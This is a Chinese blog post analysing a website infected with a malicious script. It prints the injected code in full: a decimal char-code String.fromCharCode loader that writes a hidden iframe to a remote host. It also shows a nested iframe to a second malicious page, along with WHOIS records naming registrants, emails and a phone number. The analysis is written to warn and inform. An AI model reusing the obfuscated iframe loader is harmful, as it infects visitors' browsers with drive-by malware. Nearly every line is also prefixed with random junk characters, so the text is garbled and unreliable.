首发在我的博客里面，
S( ^.?z (R!hj w~ http://www.areway.cn/?p=175 _;
Y` I u[|<Cx lpB3&H8& 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
%NHkDa! c>:R3^\lwx <script>t=’60,105,102,114,97,109,101,
bB c[bc>R 32,115,114,99,61,104,116,116,112,58,47,47,
c{3wk7 102,114,101,101,46,117,45,117,117,117,46,99,
E"~2./+rd 110,47,101,114,114,111,114,46,104,116,109,
/Ncm^b4 32,119,105,100,116,104,61,49,48,48,32,104,
9X$ma/P[ 101,105,103,104,116,61,48,62,60,47,105,102,
QHq,/kWY 114,97,109,101,62′;
72W
s
K" t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
zfA
GtT < a^U~0i@[S <script>t=’60,105,102,114,97,109,101,32,115,
~;]W T 114,99,61,104,116,116,112,58,47,47,102,114,
nkfZiyx 101,101,46,117,45,117,117,117,46,99,110,47,
l{j~Q^U}) 101,114,114,111,114,46,104,116,109,32,119,
*{
{b~$ 105,100,116,104,61,49,48,48,32,104,101,105,
b^0}}12 103,104,116,61,48,62,60,47,105,102,114,97,
v \tEVhm 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
PwB1]p= document.write(t);</script>
sEJC-$ -G7TEq) <html xmlns=”
2-N ' ya http://www.w3.org/1999/xhtml BZ!v%4^9 “>
;!!n{l$r' <head>
&-d&t ` ` <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
u&mS8i } <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
%a+ mk
E <title>首页 - 爱生活家庭网
G+UMB n ?i I4x%y 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
j)C,%Ol 转换字符串后的大概内容是（谁点击后果自付）：
?W^c4NtP <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
UcOk3{(z$q R\@/U=iqR 查询玉米u-uuu.cn的详细信息：
y){
k3lm0 Domain Name: u-uuu.cn
1 i[ \T ROID: 20070901s10001s64972306-cn
{8)zg<rL+M Domain Status: ok
npJt3
Y_I Registrant Organization: 王雷
Od4E x;F Registrant Name: 王雷
[Zei0O Administrative Email:
czlovexs@126.com ia\eLzj Sponsoring Registrar: 北京万网志成科技有限公司
E;JsBH Name Server:ns.yovole.com
+LM#n #T Name Server:ns1.yovole.com
hd),&qoW? Registration Date: 2007-09-01 17:54
u! "t!2I Expiration Date: 2008-09-01 17:54
n!p<A .O7@ 最后PING了一下地址 都没有什么….
AP77a*@8 {M-YHX>*;g 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
?HF%(>M <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
6KpHnSW <script language=”javascript” src=”
s<qe,' Y http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script +gtrt^:]l >
<:SZAAoIV 这个玉米应该有可能是木马作者的：
={K`4BD foafau.info的详细信息：
V-<GT ? Access to INFO WHOIS information is provided to assist persons in
1%4sHSN determining the contents of a domain name registration record in the
I!e} )Y Afilias registry database. The data in this record is provided by
=jB08 A Afilias Limited for informational purposes only, and Afilias does not
[<DZ*|+ guarantee its accuracy. This service is intended only for query-based
KD`IX-r{s access. You agree that you will use this data only for lawful purposes
& l3iV88 and that, under no circumstances will you use this data to: (a) allow,
Oo"^%F~% enable, or otherwise support the transmission by e-mail, telephone, or
Ag{i q (X facsimile of mass unsolicited, commercial advertising or solicitations
d&ex5CU5 to entities other than the data recipient’s own existing customers; or
LaQ-=;( ` (b) enable high volume, automated, electronic processes that send
q#< ^ ^4U queries or data to the systems of Registry Operator, a Registrar, or
|<:vY Afilias except as reasonably necessary to register domain names or
yE}}c{hSn modify existing registrations. All rights reserved. Afilias reserves
~//fN}~R the right to modify these terms at any time. By submitting this query,
)+ :EJ H~ you agree to abide by this policy.
!O `(JSoG Domain ID:D22418703-LRMS
;\f gF @ Domain Name:FOAFAU.INFO
0T Q$C-% Created On:20-Nov-2007 16:05:42 UTC
(h >-&.`& Last Updated On:20-Nov-2007 16:05:44 UTC
cSXwYZDx? Expiration Date:20-Nov-2008 16:05:42 UTC
U}[I
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
5$V _Hj Status:CLIENT DELETE PROHIBITED
MyT q Status:CLIENT RENEW PROHIBITED
Zos P(Td q Status:CLIENT TRANSFER PROHIBITED
j#cYS*^H Status:CLIENT UPDATE PROHIBITED
N[s}qmPha Status:TRANSFER PROHIBITED
-$\+ '
\ Registrant ID:GODA-040110615
$0 vb^ Registrant Name:liu hong
-r-k_6QP Registrant Organization:
^J$2?!~ Registrant Street1:beijing
W[Ls|<Q Registrant Street2:
spt6] "Ni Registrant Street3:
KXx32 b,~ Registrant City:beijing
e" St_z( Registrant State/Province:
j'A_'g'^ Registrant Postal Code:100000
5H*\t 7 Registrant Country:CN
TWA-.>c Registrant Phone:+86.860108888777
Z'"tB/ =W Registrant Phone Ext.:
ILGMMA_2 Registrant FAX:
a(l29> Registrant FAX Ext.:
a!=D [Gz*5 Registrant Email:bbbshiji@163.com
"wNJ Admin ID:GODA-240110615
;7} VBkH Admin Name:liu hong
Zl^\Q=*s Admin Organization:
etTn_v Admin Street1:beijing
0*f)=Q' Admin Street2:
[ucpd Admin Street3:
o,_? ^'@ Admin City:beijing
n*2UnKaJ Admin State/Province:
JpXlBEio% Admin Postal Code:100000
hDF@'G8F Admin Country:CN
>m$1Xx4#GV Admin Phone:+86.860108888777
jPUwSIP Admin Phone Ext.:
%J+ E/ Admin FAX:
be.*#[ Admin FAX Ext.:
P)P*Xq r#: Admin Email:bbbshiji@163.com
<g$~1fa Billing ID:GODA-340110615
!2ZF(@C / Billing Name:liu hong
;U-j O & Billing Organization:
%nf6%@s Billing Street1:beijing
1`=nWy=' Billing Street2:
k$ blEa4 Billing Street3:
sB7#
~p A Billing City:beijing
Zy`m!]G]80 Billing State/Province:
h2G$@8t}I Billing Postal Code:100000
Q+[n91ey** Billing Country:CN
YtmrRDQs Billing Phone:+86.860108888777
GP N]9 Billing Phone Ext.:
e|"WQ> Billing FAX:
AE[b},-[ Billing FAX Ext.:
JRB9rSN^ Billing Email:bbbshiji@163.com
LRL,m_gt Tech ID:GODA-140110615
}\B><E{G Tech Name:liu hong
pFOx>u2`a Tech Organization:
0Tx6zO Tech Street1:beijing
qLD
?juas Tech Street2:
Q'=x|K#xj Tech Street3:
*\
R ]NV Tech City:beijing
X%
t1 T4 Tech State/Province:
I G2r#N|C# Tech Postal Code:100000
F3On?x) Tech Country:CN
Te"ioU?. Tech Phone:+86.860108888777
k\5c|Wq|g Tech Phone Ext.:
h9}+l Tech FAX:
Hj^1 or3R] Tech FAX Ext.:
]Sf ]J4eQ Tech Email:bbbshiji@163.com
-t!~%_WCv Name Server:NS27.DOMAINCONTROL.COM
(A9Fhun Name Server:NS28.DOMAINCONTROL.COM
0X6YdW _2X Name Server:
J')o|5S1N Name Server:
geru=7 Name Server:
LBYMCY Name Server:
m*&]!mM"0G Name Server:
o#3 ly-ht Name Server:
; ZA~p Name Server:
d,k!qjf=r Name Server:
V?6a 8lJ Name Server:
ZMQ Zs~;~d Name Server:
c"f-3kFv Name Server:
6' k<+IR b RFLcM 接着下载每个文件里面的代码：
y%"{I7!A 一步一步看..
DX#Nf""Pw 
<cps2*' 
em%4Ap 
Ni9/}bb 
n<LEler#M 
Y vaK0p0Z 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
